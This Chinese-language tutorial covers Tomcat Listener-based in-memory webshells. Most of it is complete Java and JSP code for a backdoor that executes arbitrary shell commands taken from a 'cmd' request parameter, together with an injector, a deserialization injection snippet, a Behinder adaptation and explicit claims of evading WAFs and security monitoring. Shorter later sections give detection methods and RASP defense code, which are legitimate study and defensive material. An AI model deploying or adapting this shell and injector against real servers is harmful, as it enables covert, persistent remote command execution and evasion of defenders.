Tomcat Listener 内存马

Listener 内存马

Listener(监听器)型内存马利用 Tomcat 的事件监听机制,在特定事件(如请求到达、Session 创建)触发时执行恶意代码。相比 Filter 和 Servlet 型内存马,Listener 型具有更高的隐蔽性 —— 大多数安全产品不监控 Listener 的注册行为。

本质:模拟 addApplicationEventListener,把恶意回调 + “请求到达事件”组装进监听器列表;请求到达时 StandardHostValve 派发 requestInitialized 事件,无需任何 URL 映射。整体框架见 《内存马原理总纲》。


一、Tomcat Listener 机制

1.1 什么是 Listener

Listener 是 Servlet 规范中的观察者模式实现,用于监听 Web 应用中的生命周期事件。Tomcat 容器在特定事件发生时,会调用已注册的 Listener 回调方法。

事件源(Event Source)          事件(Event)          监听器(Listener)
─────────────────────    ───────────────────    ────────────────────
Context 启动              ServletContextEvent    contextInitialized()
请求到达                  ServletRequestEvent    requestInitialized()
请求结束                  ServletRequestEvent    requestDestroyed()
Session 创建              HttpSessionEvent       sessionCreated()
Session 销毁              HttpSessionEvent       sessionDestroyed()
属性变更                  ServletContextAttributeEvent  attributeAdded()

1.2 Listener 类型总览

监听器接口 触发时机 适用场景
ServletContextListener 应用启动 / 关闭 一次性初始化逻辑
ServletRequestListener 每个请求到达 / 完成 每条请求都可触发 ← 内存马首选
HttpSessionListener Session 创建 / 销毁 隐蔽性好(低频触发)
ServletRequestAttributeListener 请求属性变更 特定场景
HttpSessionAttributeListener Session 属性变更 特定场景
ServletContextAttributeListener Context 属性变更 隐蔽性极高

1.3 Listener 的注册与调用流程

// StandardContext 中维护的 Listener 列表
public class StandardContext extends ContainerBase implements Context {
    // 应用级监听器(通过 web.xml 或 @WebListener 注册)
    private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
    
    // 生命周期监听器(框架内部使用)
    private List<Object> lifecycleListeners = new CopyOnWriteArrayList<>();
    
    // 添加监听器
    public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }
}

请求到达时的调用链:

CoyoteAdapter.service()
    → StandardEngineValve.invoke()
        → StandardHostValve.invoke()
            → StandardContextValve.invoke()
                → StandardWrapperValve.invoke()
                    → ApplicationFilterChain.doFilter()

关键点:ServletRequestListener.requestInitialized() 在 Filter 链之前调用,这意味着 Listener 的执行优先级高于 Filter。


二、动态注册原理

2.1 注册方式对比

注册方式 示例 动态性
web.xml <listener-class> 静态
注解 @WebListener 静态
代码调用 context.addApplicationEventListener() 动态 ← 攻击面

addApplicationEventListener() 方法是 public 的,不需要反射即可调用,是天然的内存马注入入口。

2.2 动态注册步骤

1. 编写恶意 Listener 类(实现 ServletRequestListener)
2. 获取 StandardContext 对象(反射链)
3. 调用 context.addApplicationEventListener(maliciousListener)
4. 无需额外配置 —— 下一个请求到达时自动触发

相比 Filter 内存马,Listener 内存马的注入步骤更少:

  • 不需要构造 FilterDef / FilterMap
  • 不需要手动创建 ApplicationFilterConfig
  • 不需要关心数组排序

三、完整代码实现

3.1 恶意 Listener 类(基础版)

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;

/**
 * 基于 ServletRequestListener 的内存马
 * 每个 HTTP 请求都会触发 requestInitialized()
 */
public class ListenerMemShell implements ServletRequestListener {

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest servletRequest = sre.getServletRequest();
        HttpServletRequest request = (HttpServletRequest) servletRequest;

        // 提取命令参数
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                String result = exec(cmd);

                // 回显 —— 通过两步反射获取 Response 对象(见 4.2 详解)
                // 注意:servletRequest 实际类型是 RequestFacade,
                // 需先获取内部 Request,再从中取 response 字段
                Field reqField = servletRequest.getClass()
                    .getDeclaredField("request");
                reqField.setAccessible(true);
                Object innerRequest = reqField.get(servletRequest);

                Field responseField = innerRequest.getClass()
                    .getDeclaredField("response");
                responseField.setAccessible(true);
                HttpServletResponse response = (HttpServletResponse)
                    responseField.get(innerRequest);

                if (!response.isCommitted()) {
                    response.getWriter().write("<pre>" + result + "</pre>");
                }
            } catch (Exception ignored) {
                // 静默处理,不影响正常业务
            }
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        // 无需操作
    }

    /**
     * 统一命令执行器(本系列 Filter / Servlet / Listener 三篇通用)
     * - 通过 shell 执行,支持管道、重定向等语法(/bin/sh -c 或 cmd /c)
     * - redirectErrorStream(true):把 stderr 合并进 stdout,避免
     *   "先读 stdout 再读 stderr" 顺序读取时管道写满导致的两端互相阻塞
     * - 字节循环读取而非 Scanner,输出量大时不会阻塞
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.2 恶意 Listener 类(增强版 —— 多重监听器)

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;

/**
 * 同时实现多个监听器接口,增加触发路径
 */
public class MultiListenerMemShell 
        implements ServletRequestListener, 
                   HttpSessionListener, 
                   ServletContextListener {

    // ===== ServletRequestListener =====
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        executeCommand(sre.getServletRequest());
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}

    // ===== HttpSessionListener =====
    @Override
    public void sessionCreated(HttpSessionEvent se) {
        // Session 创建时:从 Session 属性中获取命令
        HttpSession session = se.getSession();
        String sessionCmd = (String) session.getAttribute("__cmd__");
        if (sessionCmd != null && !sessionCmd.isEmpty()) {
            executeCommand(sessionCmd);
            session.removeAttribute("__cmd__");
        }
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent se) {}

    // ===== ServletContextListener =====
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        // 注入时机:如果能在此阶段注入,则后续所有请求都会被监听
        // 通常在动态注入场景下,此处不会执行(应用已启动完毕)
    }

    @Override
    public void contextDestroyed(ServletContextEvent sce) {}

    /**
     * 统一命令执行入口(请求触发路径)
     */
    private void executeCommand(ServletRequest request) {
        String cmd = request.getParameter("cmd");
        if (cmd == null || cmd.isEmpty()) return;

        try {
            String result = exec(cmd);

            // 反射回显
            // 注意:request 实际类型是 RequestFacade,需先获取内部 Request
            Field reqField = request.getClass()
                .getDeclaredField("request");
            reqField.setAccessible(true);
            Object innerRequest = reqField.get(request);

            Field responseField = innerRequest.getClass()
                .getDeclaredField("response");
            responseField.setAccessible(true);
            HttpServletResponse response = (HttpServletResponse)
                responseField.get(innerRequest);

            // 确保响应未提交
            if (!response.isCommitted()) {
                response.getWriter().write("<pre>" + result + "</pre>");
            }
        } catch (Exception ignored) {
        }
    }

    /**
     * Session 场景的备用执行方法
     * 注意:HttpSession 事件回调中拿不到当前请求的 Response 对象,无法直接回显,
     * 这里把结果打印到服务端日志。若要回显,可把结果存入 Application/Session
     * 属性,再由其他页面读取展示。
     */
    private void executeCommand(String cmd) {
        try {
            String result = exec(cmd);
            System.out.println("[ListenerShell] " + result);
        } catch (Exception ignored) {
        }
    }

    /**
     * 统一命令执行器(本系列 Filter / Servlet / Listener 三篇通用)
     * - 通过 shell 执行,支持管道、重定向等语法(/bin/sh -c 或 cmd /c)
     * - redirectErrorStream(true):把 stderr 合并进 stdout,避免
     *   "先读 stdout 再读 stderr" 顺序读取时管道写满导致的两端互相阻塞
     * - 字节循环读取而非 Scanner,输出量大时不会阻塞
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.3 注入器代码

import org.apache.catalina.core.StandardContext;
import java.lang.reflect.Field;

public class ListenerMemShellInjector {

    /**
     * 注入 Listener 内存马
     * 核心:调用 StandardContext.addApplicationEventListener()
     */
    public static void inject(StandardContext context) {
        // Step 1: 检查是否已注入(防重复)
        for (Object listener : context.getApplicationEventListeners()) {
            if (listener.getClass().getName()
                    .equals("ListenerMemShell")) {
                System.out.println("[!] Listener already injected.");
                return;
            }
        }

        // Step 2: 创建恶意 Listener 实例
        ListenerMemShell listener = new ListenerMemShell();

        // Step 3: 直接调用 public 方法注册(无需反射!)
        context.addApplicationEventListener(listener);

        System.out.println("[+] Listener memory shell injected.");
    }

    /**
     * 从 request 获取 StandardContext 并注入
     */
    public static void injectFromRequest(javax.servlet.ServletRequest request) 
            throws Exception {
        // 获取 StandardContext(与 Filter 篇相同方法)
        Field requestField = request.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        org.apache.catalina.connector.Request req = 
            (org.apache.catalina.connector.Request) requestField.get(request);
        StandardContext context = (StandardContext) req.getContext();
        
        inject(context);
    }
}

3.4 触发注入的 JSP

说明:以下 JSP 引用默认包类 ListenerMemShell,为讲解简化(假设恶意类已部署)。真实利用时 JSP 必须自包含——把恶意类内联进 <%! %> 并直接注册(写法见 Valve 篇 3.4),或由反序列化 defineClass 提供类;测试工程已提供自包含版本。

<%@ page import="org.apache.catalina.core.*, org.apache.catalina.connector.Request, java.lang.reflect.Field" %>
<%
    try {
        // 获取 StandardContext
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();

        // 一行注册
        context.addApplicationEventListener(new ListenerMemShell());
        
        out.println("[+] Listener memory shell injected!");
        out.println("[+] Test: curl 'http://target/?cmd=whoami'");
    } catch (Exception e) {
        out.println("[-] Failed: " + e.getMessage());
    }
%>

四、代码详解

4.1 为什么 Listener 注入最简单?

// Filter 内存马注入步骤(多步反射)
FilterDef filterDef = new FilterDef();           // Step 1
filterDef.setFilterName(name);                   // Step 2
filterDef.setFilterClass(className);             // Step 3
context.addFilterDef(filterDef);                 // Step 4
FilterMap filterMap = new FilterMap();           // Step 5
filterMap.addURLPattern("/*");                   // Step 6
context.addFilterMap(filterMap);                 // Step 7
// 还需要反射创建 ApplicationFilterConfig...      // Step 8

// Listener 内存马注入(一步到位)
context.addApplicationEventListener(maliciousListener);  // DONE ✓

addApplicationEventListener() 是 Context 接口的 public 方法,直接可用,无需任何反射操作来辅助注册。

4.2 回显的技术细节

Listener 的 requestInitialized 方法只接收 ServletRequestEvent 参数,无法直接获取 HttpServletResponse。需要通过两步反射:

// Tomcat 内部结构
// ServletRequestEvent.getServletRequest() → RequestFacade
//   └── request 字段 → org.apache.catalina.connector.Request
//         └── response 字段 → org.apache.catalina.connector.Response

关键点:RequestFacade 只有 request 字段(指向内部 Request),没有 response 字段。getDeclaredField() 只查找当前类声明的字段,不会向上搜索父类。因此必须:

// Step 1: 从 RequestFacade 中取出内部 Request
Field reqField = servletRequest.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(servletRequest);

// Step 2: 从内部 Request 中取出 Response
Field responseField = innerRequest.getClass().getDeclaredField("response");
responseField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) responseField.get(innerRequest);

4.3 防重复注入

// 检查当前已注册的 Listener
for (Object listener : context.getApplicationEventListeners()) {
    if (listener.getClass().getName().equals("ListenerMemShell")) {
        return; // 已注入
    }
}

4.4 三种内存马优先级关系

HTTP 请求到达
    ↓
① Listener.requestInitialized()    ← 最早执行
    ↓
② Filter.doFilter()                ← 中间拦截
    ↓
③ Servlet.service()                ← 最后处理

Listener 在所有组件中最先被调用,这意味着即使 Filter 链中抛出异常或返回错误,Listener 的逻辑也已执行完毕。

4.5 版本兼容性

Tomcat 版本 Servlet 包 说明
8.x / 9.x javax.servlet 本系列代码适用
10.x / 11.x jakarta.servlet 需全局替换包名
  • addApplicationEventListener() 是 Context 接口的 public 方法,无需反射,Tomcat 8/9/10/11 行为一致;10+ 仅需替换包名。
  • 两步反射回显依赖的字段 RequestFacade.request、connector.Request.response 在不同大版本间 相对稳定,但属于私有字段,字段名变更时回显会失败,实战前需确认目标版本。
  • 增强版原代码中 Runtime.exec(cmd) 单字符串版本不会经过 shell 解析,管道/参数无法生效, 已统一改为 ProcessBuilder + /bin/sh -c(或 cmd /c),并通过 redirectErrorStream 合并错误流,避免死锁。

五、利用场景

5.1 反序列化 → Listener 注入(最隐蔽)

// 反序列化 payload 中的代码片段
// 优势:不修改 FilterDef / FilterMap / Wrapper,躲过绝大多数监控
StandardContext context = (StandardContext) request.getContext();
context.addApplicationEventListener(new ListenerMemShell());

5.2 绕过 Filter 监控型 WAF

WAF 监控:
  ✅ filterDefs 变化
  ✅ filterMaps 变化  
  ❌ applicationEventListenersList 变化(盲区)

攻击者 → 注入 Listener 内存马 → WAF 完全无感知

5.3 Session 型内存马(低频隐蔽通道)

不通过 URL 参数,而是通过 Session 属性传递命令:

// 访问一个普通页面(创建 Session)
GET /index.html
Cookie: JSESSIONID=ABC123

// 在 Session 中设置命令(通过其他漏洞,如反序列化)
session.setAttribute("__cmd__", "whoami");

// 再次访问,触发 session 事件(如 Session 过期重新创建)
// → sessionCreated() → 读取 __cmd__ → 执行 → 清除属性

这种方式不通过 URL 参数传递命令,流量特征极小。

5.4 冰蝎 / 哥斯拉适配

// 冰蝎 Listener 内存马适配
public class BehinderListenerMemShell implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        
        // 解析冰蝎加密数据
        String encryptedData = request.getHeader("X-BeHinder");
        if (encryptedData != null) {
            String decrypted = BehinderCrypto.decrypt(encryptedData);
            // ... 执行逻辑
        }
    }
}

六、检测方式

6.1 JMX 检查

# 查看所有应用事件监听器
jconsole → MBeans → Catalina → Context → /your-app
  → Operations → findApplicationListeners()

6.2 Arthas 在线排查

# 查看 StandardContext 中的监听器列表
vmtool --action getInstances \
  --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].applicationEventListenersList' \
  --limit 10

# 搜索实现了 Listener 接口的可疑类
sc *.*Listener

# 查看所有 ServletRequestListener 实例
vmtool --action getInstances \
  --className javax.servlet.ServletRequestListener \
  --express 'instances' \
  --limit 20

6.3 内存分析

# Dump 内存
jmap -dump:live,format=b,file=listener.hprof <pid>

# MAT 中搜索
# 1. 列出所有实现 ServletRequestListener 的实例
# 2. 检查类名是否在应用依赖中
# 3. 对比部署包中 web.xml 的监听器配置

6.4 运行时代码扫描

// 获取所有已注册监听器
for (Object listener : context.getApplicationEventListeners()) {
    String className = listener.getClass().getName();
    // 过滤标准库类
    if (className.startsWith("org.apache.") || 
        className.startsWith("org.springframework.")) {
        continue;
    }
    // 检查类来源(jar 包/动态生成)
    ProtectionDomain pd = listener.getClass().getProtectionDomain();
    CodeSource cs = pd.getCodeSource();
    System.out.println("[CHECK] " + className + " → " + cs.getLocation());
}

七、防御建议

层面 措施 说明
RASP Hook addApplicationEventListener() 监控非启动阶段的调用
JVM Agent 监控 applicationEventListenersList 的 add() 操作 捕获动态注入行为
Security Manager 限制反射访问 Request.response 字段 阻断回显通道
巡检脚本 定期对比 Listener 基线 发现异常监听器
// RASP Hook 示例:拦截 Listener 动态注册
@RuntimeType
public static void onAddEventListener(@This StandardContext context,
                                       @Argument(0) Object listener) {
    // 判断是否在启动阶段
    StackTraceElement[] stack = Thread.currentThread().getStackTrace();
    for (StackTraceElement frame : stack) {
        if (frame.getClassName().contains("ContextConfig")) {
            return; // 正常启动流程,放行
        }
    }
    // 非启动阶段的 addApplicationEventListener → 告警
    SecurityAlert.alert("Suspicious Listener registration", 
        listener.getClass().getName(), stack);
    throw new SecurityException("Runtime Listener injection blocked");
}

八、总结

Listener 内存马是三种 Tomcat 内存马中隐蔽性最高的一种:

特性 Filter Servlet Listener
注入难度 ⭐⭐⭐ ⭐⭐ ⭐(最简单)
触发时机 Filter 链 Servlet 处理 请求到达瞬间
隐蔽性 ⭐⭐⭐ ⭐⭐⭐⭐ ⭐⭐⭐⭐⭐(最高)
监控覆盖 常见 较少 极少

核心理由:

  1. context.addApplicationEventListener() 是 public 方法,无需反射
  2. Listener 在 Filter 之前执行,不受 Filter 链影响
  3. 大多数安全产品不监控 Listener 注册
  4. applicationEventListenersList 是 CopyOnWriteArrayList,可以随时安全地动态添加

攻击者偏好排序(综合隐蔽性与功能):

  1. Listener — 最隐蔽,最简单
  2. Filter — 最灵活,覆盖面最广
  3. Servlet — 备选通道,特定场景
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Valve 内存马 Java Agent 内存马 Spring 容器内存马 WebSocket 等偏门内存马 Tomcat基础
改变就是好事。